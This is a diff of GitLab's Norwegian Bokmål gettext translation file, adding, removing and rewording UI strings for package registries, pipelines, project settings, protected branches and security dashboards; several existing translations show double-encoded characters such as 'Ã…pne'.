-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr "Oi sann, er du sikker?"
msgid "Open"
msgstr "Ã…pne"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr "Ã…pne i filvisning"
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr "Ã…pne saker"
-
msgid "Open raw"
msgstr "Åpne råversjon"
@@ -21311,12 +21827,15 @@ msgstr "Ã…pne sidelinje"
msgid "Open: %{open}"
msgstr ""
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
+msgstr ""
+
msgid "Opened"
msgstr "Ã…pnet"
-msgid "Opened %{epicTimeagoDate}"
-msgstr "Ã…pnet %{epicTimeagoDate}"
-
msgid "Opened MRs"
msgstr ""
@@ -21329,6 +21848,9 @@ msgstr "Ã…pnet"
msgid "Opens in a new window"
msgstr "Ã…pnes i et nytt vindu"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr "Innstillinger"
msgid "Or you can choose one of the suggested colors below"
msgstr "Eller så kan du velge en av de foreslåtte fargene nedenfor"
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "Legg til NuGet-kilde"
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr "Kopier Conan-kommando"
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Kopier Maven-XML"
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr "Kopier Pip-kommando"
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Maven-kommando"
-msgid "PackageRegistry|Maven XML"
-msgstr "Maven-XML"
-
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr "Fjern pakke"
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr "publisert av %{author}"
msgid "PackageRegistry|yarn command"
msgstr "yarn-kommando"
-msgid "PackageType|Composer"
-msgstr "Composer"
-
-msgid "PackageType|Conan"
-msgstr "Conan"
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr "Maven"
-
-msgid "PackageType|NuGet"
-msgstr "NuGet"
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "Pakker"
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr "SQL-forespørsler"
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr "Commit"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr "Dekning"
-
msgid "Pipeline|Created"
msgstr "Opprettet"
@@ -22328,6 +22877,9 @@ msgstr "Eksisterende grennavn eller etikett"
msgid "Pipeline|Failed"
msgstr "Mislyktes"
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr "Nøkkel"
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr "Etikettnavn"
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,12 +23186,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "Vennligst løs reCAPTCHA"
-
msgid "Please try again"
msgstr "Vennligst prøv igjen"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr ""
@@ -22664,6 +23225,18 @@ msgstr "Podder som brukes"
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr "Tidligere artefakter"
msgid "Previous commit"
msgstr "Forrige commit"
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr "Prioriterte etiketter"
msgid "Prioritized label"
msgstr "Prioritert etikett"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr "Privat"
@@ -23108,8 +23693,8 @@ msgstr "Lag et privat bidrag"
msgid "Profiles|Main settings"
msgstr "Hovedinnstillinger"
-msgid "Profiles|No file chosen"
-msgstr "Ingen fil valgt"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "Varsels-E-post"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "Prosjekt-ID: %{project_id}"
@@ -23513,49 +24101,82 @@ msgstr "%{service_title}: status av"
msgid "ProjectService|%{service_title}: status on"
msgstr "%{service_title}: status på"
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
-msgstr "Hendelsen vil bli trigget dersom en commit er opprettet/oppdatert"
+msgid "ProjectService|Enter new API key"
+msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
-msgstr "For å sette opp denne tjenesten:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,26 +24230,29 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr "Skru av e-postvarsler"
msgid "ProjectSettings|Do not allow"
msgstr "Ikke tillat"
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr "Oppmuntre til"
-msgid "ProjectSettings|Every merge creates a merge commit"
-msgstr "Alle innflettinger skaper en innflettings-commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
+msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
msgstr ""
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr "Alle"
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr "Mislyktes i å oppdatere etiketten!"
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,12 +24287,12 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr "Universelt"
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
-msgstr ""
-
msgid "ProjectSettings|Internal"
msgstr "Internt"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
+msgstr ""
+
msgid "ProjectSettings|Issues"
msgstr "Saker"
@@ -23699,11 +24323,14 @@ msgstr "Fletteinnstillinger"
msgid "ProjectSettings|Merge requests"
msgstr "Fletteforespørsler"
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr "Fletteforslag"
-msgid "ProjectSettings|No merge commits are created"
-msgstr "Ingen innflettings-commiter har blitt skapt"
+msgid "ProjectSettings|No merge commits are created."
+msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
msgstr ""
@@ -23726,15 +24353,9 @@ msgstr "Sider"
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr "Rørledninger"
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "Rørledningene må lykkes"
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr "Private"
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr "Commit-meldingen som ble brukt til å benytte fletteforespørselsforslagene"
-
-msgid "ProjectSettings|The variables GitLab supports:"
-msgstr "Variablene som GitLab støtter:"
+msgid "ProjectSettings|Supported variables:"
+msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr "Overfør prosjekt"
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr "Tillatelse til å innflette"
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,8 +25424,8 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
-msgstr "Referanse:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr "Referanser"
@@ -24954,8 +25587,8 @@ msgstr "Utgivelser"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr "Utgivelser er basert på Git-etiketter og markerer spesifikke punkter i prosjektets utviklingshistorie. De kan inneholde informasjon om endringstypene og kan også levere binærfiler, slik som kompilerte versjoner av programvaren din."
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
-msgstr "Utgivelser er basert på Git-etiketter. Vi anbefaler koder som bruker semantisk versjonnummering, for eksempel %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
+msgstr ""
msgid "Releases documentation"
msgstr "Dokumentasjon for utgivelser"
@@ -24966,8 +25599,8 @@ msgstr "Ny utgivelse"
msgid "Release|Something went wrong while creating a new release"
msgstr "Noe gikk galt under opprettelse av en ny utgivelse"
-msgid "Release|Something went wrong while getting the release details"
-msgstr "Noe gikk galt under innhenting av utgivelsesdetaljene"
+msgid "Release|Something went wrong while getting the release details."
+msgstr ""
msgid "Release|Something went wrong while saving the release details"
msgstr "Noe gikk galt under lagring av utgivelsesdetaljene"
@@ -24990,6 +25623,9 @@ msgstr "Fjern %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Fjern Zoom-møte"
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr "Fjern fra epos"
@@ -25287,6 +25920,9 @@ msgstr "Rapporter misbruk til admin"
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Rapportert %{timeAgo} av %{reportedBy}"
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,8 +25966,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "Klasse"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr "Klassenavn"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr "Feilede"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr "Identifikator"
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr "Forespørselsprofiler"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr "Forespørsler til disse domenene/adressene i det lokale nettverket vil være tillatt når lokale forespørsler fra kroker og tjenester ikke er tillatt. IP-områder som 1:0:0:0:0:0:0:0/124 eller 127.0.0.0/28 støttes. Domene-jokertegn støttes ikke for øyeblikket. Bruk komma, semikolon eller ny linje for å skille flere oppføringer. Tillatelseslisten kan inneholde maksimalt 1000 oppføringer. Domener bør bruke IDNA-koding. F.eks.: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr "Kjører"
-msgid "Running…"
-msgstr "Kjører …"
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr "Lagre endringer før testing"
msgid "Save comment"
msgstr "Lagre kommentar"
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr "Lagre passord"
@@ -26176,6 +26830,9 @@ msgstr "Lagrer"
msgid "Saving project."
msgstr "Lagrer prosjekt."
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr "Skanner"
@@ -26200,9 +26857,6 @@ msgstr "Tidsplaner"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr "Planlegging"
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr "Søk etter skapere"
@@ -26305,6 +26962,9 @@ msgstr "Søk etter denne teksten"
msgid "Search forks"
msgstr "Velg utgreininger"
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr "Søke i flettede forespørsler"
msgid "Search milestones"
msgstr "Søk i milepæler"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "Søk eller filtrer resultater …"
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,27 +27260,33 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
+msgstr ""
+
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject} og %{secondProject}"
msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr "%{firstProject}, %{secondProject}, og %{rest}"
-msgid "SecurityReports|Add a project to your dashboard"
-msgstr "Legg til et prosjekt på kontrollpanelet ditt"
-
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr "Legg til eller fjern prosjekter som skal overvåkes i sikkerhetsområdet. Prosjekter som er inkludert i denne listen vil få sine resultater vist i sikkerhetskontrollpanelet og sårbarhetsrapporten."
msgid "SecurityReports|Add projects"
msgstr "Legg til prosjekter"
-msgid "SecurityReports|Add projects to your group"
-msgstr "Legg til prosjekter til din gruppe"
-
msgid "SecurityReports|All"
msgstr ""
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
+msgstr ""
+
msgid "SecurityReports|Change status"
msgstr ""
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,7 +27359,22 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
msgid "SecurityReports|Monitored projects"
@@ -26693,9 +27383,6 @@ msgstr ""
msgid "SecurityReports|More info"
msgstr "Mere info"
-msgid "SecurityReports|More information"
-msgstr "Mere informasjon"
-
msgid "SecurityReports|No activity"
msgstr ""
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr "Status"
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr "Det oppstod en feil under tillegging av kommentaren."
@@ -26819,9 +27497,6 @@ msgstr "SÃ¥rbarhetsrapport"
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr "Selv om det er sjeldent at du ikke har sårbarheter i rørledningen din, kan det skje. I alle fall ber vi deg dobbeltsjekke innstillingene dine for å forsikre om at alle sikkerhetsskanningsjobber har blitt vellykket bestått."
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr "Se GitLab sine %{password_policy_guidelines}"
@@ -26870,6 +27542,9 @@ msgstr "Velg side"
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
